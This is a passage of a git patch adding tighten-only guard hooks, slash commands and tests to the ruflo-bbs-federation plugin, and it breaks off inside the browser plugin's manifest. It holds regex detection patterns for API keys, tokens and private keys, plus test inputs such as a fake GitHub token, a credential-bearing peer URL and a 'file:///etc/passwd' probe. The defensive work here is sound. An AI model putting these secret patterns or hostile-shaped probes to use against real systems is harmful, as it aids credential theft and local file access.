From e232d9050c08283cee7944656a543e49d61e32f6 Mon Sep 17 00:00:00 2001 From: ruv Date: Sun, 4 Oct 2026 15:34:57 -0400 Subject: [PATCH] feat(plugins): bbs-federation, browser, business-pods, chatgpt-federation as mods (ADR-445 pattern) Each plugin gets a tighten-only tool.call guard on its own tools (secrets and credential fields out of messages/templates, hostile URLs and exfiltration scripts out of the browser, pub: channels only for the ChatGPT publisher), a local slash command (/bbs-mod, /browser-mod, /pods-mod, /chatgpt-mod), a .claude-flow/-mod/status.json, userConfig, tests, smoke steps M1-M3 and an "As a mod" README section. Versions: bbs 0.3.0, browser 0.3.0, pods 0.2.0, chatgpt 0.2.0. Co-Authored-By: RuFlo --- .../.claude-plugin/plugin.json | 35 +++++- plugins/ruflo-bbs-federation/README.md | 12 ++ plugins/ruflo-bbs-federation/hooks/command.ts | 33 ++++++ plugins/ruflo-bbs-federation/hooks/guard.ts | 44 +++++++ plugins/ruflo-bbs-federation/hooks/hooks.json | 4 + plugins/ruflo-bbs-federation/hooks/options.ts | 14 +++ .../ruflo-bbs-federation/hooks/register.ts | 58 ++++++++++ plugins/ruflo-bbs-federation/hooks/screen.ts | 55 +++++++++ plugins/ruflo-bbs-federation/hooks/status.ts | 25 ++++ plugins/ruflo-bbs-federation/scripts/smoke.sh | 42 +++++++ .../tests/register.test.ts | 104 +++++++++++++++++ plugins/ruflo-bbs-federation/tsconfig.json | 19 ++++ .../ruflo-browser/.claude-plugin/plugin.json | 35 +++++- plugins/ruflo-browser/README.md | 12 ++ plugins/ruflo-browser/hooks/command.ts | 28 +++++ plugins/ruflo-browser/hooks/guard.ts | 51 +++++++++ plugins/ruflo-browser/hooks/hooks.json | 4 + plugins/ruflo-browser/hooks/options.ts | 14 +++ plugins/ruflo-browser/hooks/register.ts | 58 ++++++++++ plugins/ruflo-browser/hooks/screen.ts | 55 +++++++++ plugins/ruflo-browser/hooks/status.ts | 25 ++++ plugins/ruflo-browser/scripts/smoke.sh | 28 ++++- plugins/ruflo-browser/tests/register.test.ts | 107 ++++++++++++++++++ plugins/ruflo-browser/tsconfig.json | 19 ++++ .../.claude-plugin/plugin.json | 24 +++- plugins/ruflo-business-pods/README.md | 12 ++ plugins/ruflo-business-pods/hooks/command.ts | 30 +++++ plugins/ruflo-business-pods/hooks/guard.ts | 35 ++++++ plugins/ruflo-business-pods/hooks/hooks.json | 4 + plugins/ruflo-business-pods/hooks/options.ts | 11 ++ plugins/ruflo-business-pods/hooks/register.ts | 58 ++++++++++ plugins/ruflo-business-pods/hooks/screen.ts | 55 +++++++++ plugins/ruflo-business-pods/hooks/status.ts | 25 ++++ plugins/ruflo-business-pods/scripts/smoke.sh | 30 ++++- .../tests/register.test.ts | 89 +++++++++++++++ plugins/ruflo-business-pods/tsconfig.json | 19 ++++ .../.claude-plugin/plugin.json | 31 ++++- plugins/ruflo-chatgpt-federation/README.md | 12 ++ .../ruflo-chatgpt-federation/hooks/command.ts | 29 +++++ .../ruflo-chatgpt-federation/hooks/guard.ts | 42 +++++++ .../ruflo-chatgpt-federation/hooks/hooks.json | 4 + .../ruflo-chatgpt-federation/hooks/options.ts | 19 ++++ .../hooks/register.ts | 58 ++++++++++ .../ruflo-chatgpt-federation/hooks/screen.ts | 55 +++++++++ .../ruflo-chatgpt-federation/hooks/status.ts | 25 ++++ .../ruflo-chatgpt-federation/scripts/smoke.sh | 42 +++++++ .../tests/register.test.ts | 101 +++++++++++++++++ .../ruflo-chatgpt-federation/tsconfig.json | 19 ++++ 48 files changed, 1685 insertions(+), 25 deletions(-) create mode 100644 plugins/ruflo-bbs-federation/README.md create mode 100644 plugins/ruflo-bbs-federation/hooks/command.ts create mode 100644 plugins/ruflo-bbs-federation/hooks/guard.ts create mode 100644 plugins/ruflo-bbs-federation/hooks/hooks.json create mode 100644 plugins/ruflo-bbs-federation/hooks/options.ts create mode 100644 plugins/ruflo-bbs-federation/hooks/register.ts create mode 100644 plugins/ruflo-bbs-federation/hooks/screen.ts create mode 100644 plugins/ruflo-bbs-federation/hooks/status.ts create mode 100755 plugins/ruflo-bbs-federation/scripts/smoke.sh create mode 100644 plugins/ruflo-bbs-federation/tests/register.test.ts create mode 100644 plugins/ruflo-bbs-federation/tsconfig.json create mode 100644 plugins/ruflo-browser/hooks/command.ts create mode 100644 plugins/ruflo-browser/hooks/guard.ts create mode 100644 plugins/ruflo-browser/hooks/hooks.json create mode 100644 plugins/ruflo-browser/hooks/options.ts create mode 100644 plugins/ruflo-browser/hooks/register.ts create mode 100644 plugins/ruflo-browser/hooks/screen.ts create mode 100644 plugins/ruflo-browser/hooks/status.ts create mode 100644 plugins/ruflo-browser/tests/register.test.ts create mode 100644 plugins/ruflo-browser/tsconfig.json create mode 100644 plugins/ruflo-business-pods/README.md create mode 100644 plugins/ruflo-business-pods/hooks/command.ts create mode 100644 plugins/ruflo-business-pods/hooks/guard.ts create mode 100644 plugins/ruflo-business-pods/hooks/hooks.json create mode 100644 plugins/ruflo-business-pods/hooks/options.ts create mode 100644 plugins/ruflo-business-pods/hooks/register.ts create mode 100644 plugins/ruflo-business-pods/hooks/screen.ts create mode 100644 plugins/ruflo-business-pods/hooks/status.ts create mode 100644 plugins/ruflo-business-pods/tests/register.test.ts create mode 100644 plugins/ruflo-business-pods/tsconfig.json create mode 100644 plugins/ruflo-chatgpt-federation/hooks/command.ts create mode 100644 plugins/ruflo-chatgpt-federation/hooks/guard.ts create mode 100644 plugins/ruflo-chatgpt-federation/hooks/hooks.json create mode 100644 plugins/ruflo-chatgpt-federation/hooks/options.ts create mode 100644 plugins/ruflo-chatgpt-federation/hooks/register.ts create mode 100644 plugins/ruflo-chatgpt-federation/hooks/screen.ts create mode 100644 plugins/ruflo-chatgpt-federation/hooks/status.ts create mode 100755 plugins/ruflo-chatgpt-federation/scripts/smoke.sh create mode 100644 plugins/ruflo-chatgpt-federation/tests/register.test.ts create mode 100644 plugins/ruflo-chatgpt-federation/tsconfig.json diff --git a/plugins/ruflo-bbs-federation/.claude-plugin/plugin.json b/plugins/ruflo-bbs-federation/.claude-plugin/plugin.json index d88b1bc714..cd246e8070 100644 --- a/plugins/ruflo-bbs-federation/.claude-plugin/plugin.json +++ b/plugins/ruflo-bbs-federation/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ruflo-bbs-federation", - "description": "AgentBBS cross-host agent federation for ruflo (ADR-164). Phase 1 exposes room coordination — federation_bbs_register / federation_bbs_publish / federation_bbs_watch / federation_bbs_human_join. Phase 2 (v3.40.0) adds signed cross-host federation — federation_bbs_identity (persistent Ed25519 node identity), federation_bbs_peer_add (pin a peer by nodeId + public key), federation_bbs_peers (audit/unpin), federation_bbs_serve (read-only pull endpoint), and federation_bbs_sync (pull pinned peers and union-merge what verifies). Every merged envelope is Ed25519-verified against a pinned key; unsigned/misattributed/oversize/over-hop envelopes are dropped and counted. Transport is HTTP pull and works on any network (Tailscale, LAN, VPN, loopback) — no tailnet required. Coordinates work ownership via claim messages (ClaimIssued/Released/Handoff/Ack). agentbbs lives in optionalDependencies; every handler gracefully degrades to {degraded:true} when the package is missing (ADR-150 pattern).", - "version": "0.2.0", + "description": "AgentBBS cross-host agent federation for ruflo (ADR-164). Phase 1 exposes room coordination — federation_bbs_register / federation_bbs_publish / federation_bbs_watch / federation_bbs_human_join. Phase 2 (v3.40.0) adds signed cross-host federation — federation_bbs_identity (persistent Ed25519 node identity), federation_bbs_peer_add (pin a peer by nodeId + public key), federation_bbs_peers (audit/unpin), federation_bbs_serve (read-only pull endpoint), and federation_bbs_sync (pull pinned peers and union-merge what verifies). Every merged envelope is Ed25519-verified against a pinned key; unsigned/misattributed/oversize/over-hop envelopes are dropped and counted. Transport is HTTP pull and works on any network (Tailscale, LAN, VPN, loopback) — no tailnet required. Coordinates work ownership via claim messages (ClaimIssued/Released/Handoff/Ack). agentbbs lives in optionalDependencies; every handler gracefully degrades to {degraded:true} when the package is missing (ADR-150 pattern). As a mod (ADR-445 pattern): a tighten-only tool guard, a local slash command, and a status file the console shows.", + "version": "0.3.0", "author": { "name": "ruvnet", "url": "https://github.com/ruvnet" @@ -25,6 +25,33 @@ "cockpit", "optional-dependency", "graceful-degradation", - "adr-164" - ] + "adr-164", + "mod", + "function-hooks", + "guard" + ], + "userConfig": { + "guard": { + "type": "string", + "title": "Tool guard", + "description": "Refuse clearly harmful calls to this plugin's tools (tighten-only: it can only deny, never allow).", + "required": false, + "default": "on", + "options": [ + "on", + "off" + ] + }, + "allowWildcardBind": { + "type": "string", + "title": "Allow wildcard serve bind", + "description": "Let federation_bbs_serve listen on every interface (0.0.0.0). Off by default: bind one routable address.", + "required": false, + "default": "off", + "options": [ + "off", + "on" + ] + } + } } diff --git a/plugins/ruflo-bbs-federation/README.md b/plugins/ruflo-bbs-federation/README.md new file mode 100644 index 0000000000..2b6bcd4d48 --- /dev/null +++ b/plugins/ruflo-bbs-federation/README.md @@ -0,0 +1,12 @@ + +## As a mod + +Function hooks (ADR-445 pattern, `hooks/register.ts`) that need no model call, no network and no process: + +- **Tool guard** (default on, tighten-only: it can only deny). Refuses federation_bbs_* calls that carry a secret in a published message or a credential-named field, a peer URL with embedded credentials or a non-http(s) scheme, and (unless allowed) a serve bind on every interface. A refusal never echoes the offending value. +- **`/bbs-mod`** answers locally: `status`, `scan ` (would the guard refuse publishing this?) and `peer ` (would it accept this peer URL?). (A distinct name from the plugin's own commands/skills, which no hook can answer.) +- **Status file** `.claude-flow/bbs-mod/status.json` (`version`, `updatedMs`, `checked`, `blocked`, `byRule`) is written at session start and after each refusal; the console reads it. + +Options (`userConfig`): `guard` (on/off, default on), `allowWildcardBind` (default off). + +Test: `claude plugin validate plugins/ruflo-bbs-federation && claude plugin test plugins/ruflo-bbs-federation && bash plugins/ruflo-bbs-federation/scripts/smoke.sh`. diff --git a/plugins/ruflo-bbs-federation/hooks/command.ts b/plugins/ruflo-bbs-federation/hooks/command.ts new file mode 100644 index 0000000000..4803469cc7 --- /dev/null +++ b/plugins/ruflo-bbs-federation/hooks/command.ts @@ -0,0 +1,33 @@ +import { badPeerUrl } from './guard' +import type { ModOptions } from './options' +import { secretsIn } from './screen' +import type { Stats } from './status' + +export type CommandDeps = { readonly opts: ModOptions; readonly stats: Stats } + +const HELP = ['/bbs-mod status', '/bbs-mod scan ', '/bbs-mod peer '].join('\n') + +/** `/bbs-mod` is answered locally and takes no model turn. Read-only: it only runs the guard's own checks on text you give it. */ +export function answer(args: string, { opts, stats }: CommandDeps): string { + const [verb = '', ...rest] = args.trim().split(/\s+/) + const arg = rest.join(' ') + if (verb === '' || verb === 'help') return HELP + if (verb === 'status') { + const rules = Object.entries(stats.byRule).map(([k, n]) => `${k} ${n}`).join(', ') + return [ + `guard ${opts.guard ? 'on' : 'off'} · wildcard bind ${opts.allowWildcardBind ? 'allowed' : 'refused'}`, + `checked ${stats.checked} · blocked ${stats.blocked}${rules ? ` (${rules})` : ''}`, + ].join('\n') + } + if (verb === 'scan') { + if (arg === '') return 'usage: /bbs-mod scan ' + const found = secretsIn(arg) + return found.length ? `The guard would refuse publishing that (${found.join(', ')}).` : 'Nothing found: the guard would let that be published.' + } + if (verb === 'peer') { + if (arg === '') return 'usage: /bbs-mod peer ' + const why = badPeerUrl(arg) + return why === undefined ? 'The guard would accept that peer url.' : `The guard would refuse that peer url: it ${why}.` + } + return `Unknown: ${verb}\n${HELP}` +} diff --git a/plugins/ruflo-bbs-federation/hooks/guard.ts b/plugins/ruflo-bbs-federation/hooks/guard.ts new file mode 100644 index 0000000000..e615f89aff --- /dev/null +++ b/plugins/ruflo-bbs-federation/hooks/guard.ts @@ -0,0 +1,44 @@ +import type { ModOptions } from './options' +import { hasCredentialField, hasSecret, splitName, textsOf } from './screen' + +export type Verdict = { readonly rule: string; readonly reason: string } + +const PUBLISHERS = new Set(['federation_bbs_publish', 'federation_bbs_human_join']) +const WILDCARD = new Set(['0.0.0.0', '::', '[::]', '*', '0', '']) + +/** Why a peer URL is refused (credentials in it, or not http/https), or undefined. Never echoes the URL. */ +export function badPeerUrl(url: string): string | undefined { + let u: URL + try { + u = new URL(url) + } catch { + return 'is not a valid URL' + } + if (u.protocol !== 'http:' && u.protocol !== 'https:') return 'must be http or https' + if (u.username !== '' || u.password !== '') return 'must not carry credentials (pin the peer by key instead)' + return undefined +} + +const refuse = (rule: string, reason: string): Verdict => ({ rule, reason: `ruflo-bbs-federation: ${reason}` }) + +/** + * Tighten-only verdict for a federation_bbs_* call: undefined for tools this plugin does not own, 'pass' when allowed, else the refusal. + * Reasons never name or echo the offending value. + */ +export function verdict(tool: string, input: unknown, opts: ModOptions): Verdict | 'pass' | undefined { + const parts = splitName(tool) + if (!parts || !parts.tool.startsWith('federation_bbs_')) return undefined + const args = (typeof input === 'object' && input !== null ? input : {}) as Record + if (hasCredentialField(args)) return refuse('credential field', 'this call carries a field named like a credential (key, token or password). Reference secrets by id or URL; never pass the value.') + if (PUBLISHERS.has(parts.tool) && textsOf(args).some(hasSecret)) { + return refuse('secret in message', 'this message holds what looks like a secret. Channel content is readable by every peer; send a reference, not the value.') + } + if (parts.tool === 'federation_bbs_peer_add' && typeof args.url === 'string') { + const why = badPeerUrl(args.url) + if (why !== undefined) return refuse('peer url', `the peer url ${why}.`) + } + if (parts.tool === 'federation_bbs_serve' && typeof args.bindHost === 'string' && !opts.allowWildcardBind && WILDCARD.has(args.bindHost.trim())) { + return refuse('wildcard bind', 'serve would listen on every interface. Bind one routable (tailnet or LAN) address, or enable allowWildcardBind.') + } + return 'pass' +} diff --git a/plugins/ruflo-bbs-federation/hooks/hooks.json b/plugins/ruflo-bbs-federation/hooks/hooks.json new file mode 100644 index 0000000000..03badcc269 --- /dev/null +++ b/plugins/ruflo-bbs-federation/hooks/hooks.json @@ -0,0 +1,4 @@ +{ + "description": "AgentBBS federation as a mod (ADR-445 pattern): a tighten-only guard on federation_bbs_* (no secrets in published payloads, no credential-bearing peer URLs, no wildcard serve bind by default), /bbs-mod, and a status file the console reads.", + "modules": ["./register.ts"] +} diff --git a/plugins/ruflo-bbs-federation/hooks/options.ts b/plugins/ruflo-bbs-federation/hooks/options.ts new file mode 100644 index 0000000000..07ab556e48 --- /dev/null +++ b/plugins/ruflo-bbs-federation/hooks/options.ts @@ -0,0 +1,14 @@ +import type { PluginOptions } from 'claude-code' + +/** The plugin's `userConfig`, validated: a bad value is the safe default (guard on, wildcard bind refused). */ +export type ModOptions = { readonly guard: boolean; readonly allowWildcardBind: boolean } + +const flag = (value: unknown, fallback: boolean) => + value === true || value === 'true' || value === 'on' ? true : value === false || value === 'false' || value === 'off' ? false : fallback + +export const readOptions = (options: PluginOptions | undefined): ModOptions => ({ + guard: flag(options?.guard, true), + allowWildcardBind: flag(options?.allowWildcardBind, false), +}) + +export const modeOf = (o: ModOptions) => ({ guard: o.guard, allowWildcardBind: o.allowWildcardBind }) diff --git a/plugins/ruflo-bbs-federation/hooks/register.ts b/plugins/ruflo-bbs-federation/hooks/register.ts new file mode 100644 index 0000000000..f94d544626 --- /dev/null +++ b/plugins/ruflo-bbs-federation/hooks/register.ts @@ -0,0 +1,58 @@ +import type { Hook, Register } from 'claude-code' + +import { answer } from './command' +import { verdict } from './guard' +import { modeOf, readOptions, type ModOptions } from './options' +import { newStats, noteBlocked, STATUS_PATH, statusText, type Stats } from './status' + +type Dollar = Parameters>[0] + +/** Everything one session of the mod keeps: its settings, counters and the project root. */ +type Session = { readonly opts: ModOptions; readonly stats: Stats; root?: string } + +async function flush($: Dollar, s: Session): Promise { + if (s.root === undefined) return + try { + await $.fs.write(`${s.root}/${STATUS_PATH}`, statusText(s.stats, modeOf(s.opts), await $.clock.now())) + } catch { + /* the status file is a courtesy */ + } +} + +/** + * ruflo-bbs-federation as a mod (ADR-445 pattern): a guard that keeps secrets and unsafe endpoints out of federation_bbs_* calls, `/bbs-mod`, and a status file the console reads. No network, no process: only tools already connected. + */ +export const register: Register = (on, options) => { + const s: Session = { opts: readOptions(options), stats: newStats() } + + on('session.start', async ($, e, next) => { + const result = await next(e) + s.root = (await $.session.root()) as string | undefined + try { + await $.command.register({ name: 'bbs-mod', description: 'bbs mod: status, scan , peer ' }) + } catch { + /* a name taken by another plugin must not stop the mod */ + } + await flush($, s) + return result + }) + + if (s.opts.guard) { + on('tool.call', async ($, e, next) => { + const v = verdict(e.tool, e, s.opts) + if (v === undefined) return next(e) + if (v === 'pass') { + s.stats.checked++ + return next(e) + } + noteBlocked(s.stats, v.rule) + await flush($, s) + return { deny: v.reason } + }) + } + + /** `/bbs-mod`: answered locally, no model turn. */ + on('command.run', { command: 'bbs-mod' }, async (_$, e) => { + return { text: answer(typeof e.args === 'string' ? e.args : '', { opts: s.opts, stats: s.stats }) } + }) +} diff --git a/plugins/ruflo-bbs-federation/hooks/screen.ts b/plugins/ruflo-bbs-federation/hooks/screen.ts new file mode 100644 index 0000000000..f0f4639ce9 --- /dev/null +++ b/plugins/ruflo-bbs-federation/hooks/screen.ts @@ -0,0 +1,55 @@ +/** + * Pure text screening for the ruflo-bbs-federation mod (ADR-445 pattern, copied from ruflo-agentdb). Finds secret shapes so none is sent out. + * Findings are NAMES only: the matched text is never returned, logged or counted by value. + */ + +const SECRETS: readonly (readonly [string, RegExp])[] = [ + ['private key', /-----BEGIN [A-Z ]*PRIVATE KEY-----/], + ['aws access key', /\b(?:AKIA|ASIA)[0-9A-Z]{16}\b/], + ['github token', /\b(?:gh[pousr]_[A-Za-z0-9]{30,}|github_pat_[A-Za-z0-9_]{40,})\b/], + ['slack token', /\bxox[abprs]-[A-Za-z0-9-]{10,}/], + ['google api key', /\bAIza[0-9A-Za-z_-]{35}\b/], + ['anthropic or openai key', /\bsk-(?:ant-|proj-)?[A-Za-z0-9_-]{24,}/], + ['jwt', /\beyJ[A-Za-z0-9_-]{8,}\.eyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}/], + ['bearer token', /\bBearer\s+[A-Za-z0-9._~+/=-]{24,}/], + ['nostr secret key', /\bnsec1[02-9ac-hj-np-z]{50,}/], + ['key assignment', /\b(?:api[_-]?key|secret|token|passw(?:or)?d|credential)s?["']?\s*[:=]\s*["']?[A-Za-z0-9/+=_.-]{16,}/i], +] + +// C0/C1 controls (keeping tab and newline), DEL, zero-width and bidi override characters. +const INVISIBLE = new RegExp('[\\u0000-\\u0008\\u000b-\\u001f\\u007f-\\u009f\\u200b-\\u200f\\u2028-\\u202e\\u2060-\\u2064\\ufeff]', 'g') + +const bare = (text: string) => (text.length > 20_000 ? text.slice(0, 20_000) : text).replace(INVISIBLE, '') + +/** Names of every secret shape found in `text`. Cost is linear in the capped input. */ +export const secretsIn = (text: string): string[] => SECRETS.filter(([, re]) => re.test(bare(text))).map(([name]) => name) + +export const hasSecret = (text: string) => secretsIn(text).length > 0 + +/** Every string in a tool's input, to a bounded depth and size: what the guard reads. */ +export function textsOf(input: unknown, budget = { left: 20_000 }, depth = 0): string[] { + if (budget.left <= 0 || depth > 6) return [] + if (typeof input === 'string') { + budget.left -= input.length + return [input] + } + if (Array.isArray(input)) return input.slice(0, 200).flatMap(v => textsOf(v, budget, depth + 1)) + if (typeof input === 'object' && input !== null) return Object.values(input).slice(0, 200).flatMap(v => textsOf(v, budget, depth + 1)) + return [] +} + +const CRED_KEY = /^(?:pass(?:word|wd)?|secret(?:_?key)?|api_?key|(?:access_?|auth_?|bearer_?)?token|private_?key|nsec|authorization|credentials?)$/i + +/** True when any object key (to a bounded depth) names a credential and holds a non-empty string. The value is never read out. */ +export function hasCredentialField(input: unknown, depth = 0): boolean { + if (depth > 6 || typeof input !== 'object' || input === null) return false + if (Array.isArray(input)) return input.slice(0, 200).some(v => hasCredentialField(v, depth + 1)) + return Object.entries(input).slice(0, 200).some(([k, v]) => (CRED_KEY.test(k) && typeof v === 'string' && v.trim() !== '') || hasCredentialField(v, depth + 1)) +} + +/** `mcp____` into its two halves; tool names never hold a double underscore. Undefined for a non-MCP tool. */ +export function splitName(name: string): { server: string; tool: string } | undefined { + if (!name.startsWith('mcp__')) return undefined + const at = name.lastIndexOf('__') + return at > 5 ? { server: name.slice(5, at), tool: name.slice(at + 2) } : undefined +} diff --git a/plugins/ruflo-bbs-federation/hooks/status.ts b/plugins/ruflo-bbs-federation/hooks/status.ts new file mode 100644 index 0000000000..abc9aa557f --- /dev/null +++ b/plugins/ruflo-bbs-federation/hooks/status.ts @@ -0,0 +1,25 @@ +/** Counters the mod keeps for the session and writes to `.claude-flow/bbs-mod/status.json` for the console. */ +export type Stats = { + /** Calls to this plugin's tools the guard looked at. */ + checked: number + /** Calls it refused. */ + blocked: number + /** Refusals by rule name (never by value). */ + byRule: Record + lastRule?: string +} + +export const newStats = (): Stats => ({ checked: 0, blocked: 0, byRule: {} }) + +export const STATUS_PATH = '.claude-flow/bbs-mod/status.json' + +export function noteBlocked(stats: Stats, rule: string): void { + stats.blocked++ + stats.byRule[rule] = (stats.byRule[rule] ?? 0) + 1 + stats.lastRule = rule +} + +/** The file's text; `version` lets the console refuse a shape it does not know. */ +export function statusText(stats: Stats, mode: Record, nowMs: number): string { + return `${JSON.stringify({ version: 1, updatedMs: nowMs, ...mode, ...stats }, null, 2)}\n` +} diff --git a/plugins/ruflo-bbs-federation/scripts/smoke.sh b/plugins/ruflo-bbs-federation/scripts/smoke.sh new file mode 100755 index 0000000000..b05517fdd1 --- /dev/null +++ b/plugins/ruflo-bbs-federation/scripts/smoke.sh @@ -0,0 +1,42 @@ +#!/usr/bin/env bash +# Structural smoke test for ruflo-bbs-federation v0.3.0: the plugin manifest and the mod (ADR-445 pattern). +set -u +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +PASS=0 +FAIL=0 +step() { printf "→ %s ... " "$1"; } +ok() { printf "PASS\n"; PASS=$((PASS+1)); } +bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); } + +step "1. plugin.json declares version 0.3.0 and the mod keywords" +v=$(grep -E '"version"[[:space:]]*:' "$ROOT/.claude-plugin/plugin.json" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1) +if [[ "$v" != "0.3.0" ]]; then + bad "expected 0.3.0, got '$v'" +else + miss="" + for k in mod function-hooks guard; do grep -q "\"$k\"" "$ROOT/.claude-plugin/plugin.json" || miss="$miss $k"; done + [[ -z "$miss" ]] && ok || bad "missing keywords:$miss" +fi + +# M1-M3. The mod (ADR-445 pattern): hooks module registered, files within the 500-line rule, no network or process access, safe defaults +step "M1. mod: hooks.json names register.ts, every hook file is present and under 500 lines" +mod_ok=1 +grep -q '"./register.ts"' "$ROOT/hooks/hooks.json" || mod_ok=0 +for f in options screen guard command status register; do + [[ -f "$ROOT/hooks/$f.ts" ]] || mod_ok=0 + [[ $(wc -l < "$ROOT/hooks/$f.ts" 2>/dev/null || echo 9999) -le 500 ]] || mod_ok=0 +done +[[ $mod_ok -eq 1 ]] && ok || bad "mod hooks incomplete or too long" + +step "M2. mod: guard defaults on and the extra options default safe (userConfig)" +node -e ' +const c = require(process.argv[1]).userConfig || {} +const safe = c.guard && c.guard.default === "on" && (c.allowWildcardBind && c.allowWildcardBind.default === "off") +process.exit(safe ? 0 : 1) +' "$ROOT/.claude-plugin/plugin.json" && ok || bad "userConfig defaults wrong" + +step "M3. mod: hooks never touch the network or spawn a process" +if grep -nE '\$\.(http|process)\.|child_process|fetch\(' "$ROOT"/hooks/*.ts >/dev/null; then bad "network or process call in hooks"; else ok; fi + +printf "\n%s passed, %s failed\n" "$PASS" "$FAIL" +[[ $FAIL -eq 0 ]] || exit 1 diff --git a/plugins/ruflo-bbs-federation/tests/register.test.ts b/plugins/ruflo-bbs-federation/tests/register.test.ts new file mode 100644 index 0000000000..0536fcdc2d --- /dev/null +++ b/plugins/ruflo-bbs-federation/tests/register.test.ts @@ -0,0 +1,104 @@ +import type { On } from 'claude-code' +import { describe, expect, test, tier } from 'claude-code/testing' + +tier('user') + +const ROOT = '/work' +const START = { surface: 'terminal', isInteractive: true, cwd: ROOT } as const +const slash = (args: string) => ({ command: 'bbs-mod', args, origin: { kind: 'composer' }, presentation: { isFullscreen: false, columns: 100 } }) as const +const STATUS = `${ROOT}/.claude-flow/bbs-mod/status.json` + +/** The world beneath the mod: a project root, a file map, a registered-command list, and a tool that answers `stored`. */ +function world(on: On) { + const files = new Map() + const commands: string[] = [] + on('session.start', ($, e) => ({ cwd: e.cwd })) + on('session.root', () => ({ value: ROOT })) + on('command.register', ($, e) => (commands.push(e.name), { value: { command: e.name } })) + on('fs.write', ($, e) => (files.set(e.path, e.text), { value: undefined })) + on('clock.now', () => ({ value: 1_700_000_000_000 })) + on('tool.call', () => ({ result: 'stored' })) + return { files, commands } +} + +/** A call the guard refused comes back as an error; this returns its text, or the tool result when it went through. */ +const attempt = (p: Promise) => p.then(r => JSON.stringify(r), (e: unknown) => String(e)) +const status = (files: Map) => JSON.parse(files.get(STATUS) ?? '{}') +const GH = `ghp_${'a1B2'.repeat(10)}` +const T = (name: string) => `mcp__plugin_ruflo-core_ruflo__federation_bbs_${name}` + +describe('guard', () => { + test('refuses a secret in a published message, never echoes it, passes a clean one', async ($, on) => { + const w = world(on) + await $.session.start(START) + const denied = await attempt($.tool.call({ tool: T('publish'), roomId: 'r', msgType: 'Status', payload: { note: `deploy with ${GH}` } } as never)) + expect(denied).toContain('secret') + expect(denied).not.toContain('ghp_') + expect(await attempt($.tool.call({ tool: T('publish'), roomId: 'r', msgType: 'Status', payload: { note: 'deployed api' } } as never))).toContain('stored') + expect(status(w.files).byRule).toEqual({ 'secret in message': 1 }) + }) + + test('refuses a credential-named field and a private key argument', async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call({ tool: T('peer_add'), nodeId: 'n', publicKey: 'pk', url: 'http://10.0.0.2:7777', privateKey: 'x' } as never))).toContain('credential') + }) + + test('peer_add: credentials in the url or a non-http scheme are refused, a plain peer url passes', async ($, on) => { + world(on) + await $.session.start(START) + const add = (url: string) => attempt($.tool.call({ tool: T('peer_add'), nodeId: 'n', publicKey: 'pk', url } as never)) + const withCreds = await add('http://user:hunter2secret@10.0.0.2:7777') + expect(withCreds).toContain('credentials') + expect(withCreds).not.toContain('hunter2') + expect(await add('file:///etc/passwd')).toContain('http or https') + expect(await add('http://100.64.0.2:7777')).toContain('stored') + }) + + test('serve: wildcard bind is refused by default, a routable address passes, allowWildcardBind lifts it', async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call({ tool: T('serve'), bindHost: '0.0.0.0', port: 7777 } as never))).toContain('every interface') + expect(await attempt($.tool.call({ tool: T('serve'), bindHost: '100.64.0.1', port: 7777 } as never))).toContain('stored') + }) + + test('allowWildcardBind: on lets a wildcard bind through', { options: { allowWildcardBind: 'on' } }, async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call({ tool: T('serve'), bindHost: '0.0.0.0' } as never))).toContain('stored') + }) + + test('guard: off lets everything through; other tools are never touched', { options: { guard: 'off' } }, async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call({ tool: T('publish'), payload: { n: GH } } as never))).toContain('stored') + }) + + test('tools of other plugins are ignored even when they hold a secret', async ($, on) => { + world(on) + await $.session.start(START) + expect(await attempt($.tool.call({ tool: 'mcp__plugin_ruflo-core_ruflo__memory_store', value: GH } as never))).toContain('stored') + }) +}) + +describe('status file and command', () => { + test('status.json is written at session start and after a block', async ($, on) => { + const w = world(on) + await $.session.start(START) + expect(status(w.files)).toMatchObject({ version: 1, guard: true, allowWildcardBind: false, blocked: 0 }) + await attempt($.tool.call({ tool: T('serve'), bindHost: '0.0.0.0' } as never)) + expect(status(w.files)).toMatchObject({ blocked: 1, lastRule: 'wildcard bind' }) + expect(w.commands).toEqual(['bbs-mod']) + }) + + test('/bbs-mod answers status, scan and peer locally', async ($, on) => { + world(on) + await $.session.start(START) + expect((await $.command.run(slash('status'))).text).toContain('guard on · wildcard bind refused') + expect((await $.command.run(slash(`scan key ${GH}`))).text).toContain('github token') + expect((await $.command.run(slash(`scan key ${GH}`))).text).not.toContain('ghp_') + expect((await $.command.run(slash('scan plain words'))).text).toContain('Nothing found') + expect((await $.command.run(slash('peer http://u:p@h:1'))).text).toContain('would refuse') + expect((await $.command.run(slash('what is this'))).text).toContain('/bbs-mod status') + }) +}) diff --git a/plugins/ruflo-bbs-federation/tsconfig.json b/plugins/ruflo-bbs-federation/tsconfig.json new file mode 100644 index 0000000000..e4ba54993e --- /dev/null +++ b/plugins/ruflo-bbs-federation/tsconfig.json @@ -0,0 +1,19 @@ +{ + "//": "Self-contained on purpose: bundlers (vite/esbuild in the root CI vitest) load this file for every module they transform, so it must not extend a file that only exists after Claude Code (>= 2.1.287) has loaded the plugin. Claude Code writes its declarations to .claude-plugin/types/ (gitignored) on load or validate; tsc -p . then reads them through typeRoots.", + "compilerOptions": { + "target": "es2023", + "lib": ["es2023"], + "module": "esnext", + "moduleResolution": "bundler", + "strict": true, + "noUncheckedIndexedAccess": true, + "noEmit": true, + "skipLibCheck": true, + "jsx": "react", + "jsxFactory": "h", + "jsxFragmentFactory": "Fragment", + "typeRoots": ["./.claude-plugin/types"], + "types": ["claude-code", "claude-code-tools", "claude-code-mcp"] + }, + "include": ["hooks", "tests"] +} diff --git a/plugins/ruflo-browser/.claude-plugin/plugin.json b/plugins/ruflo-browser/.claude-plugin/plugin.json index b4d124e406..0aa11c5a78 100644 --- a/plugins/ruflo-browser/.claude-plugin/plugin.json +++ b/plugins/ruflo-browser/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ruflo-browser", - "description": "Session-as-skill browser automation: Playwright + RVF cognitive containers + ruvector trajectories + AgentDB selector memory + 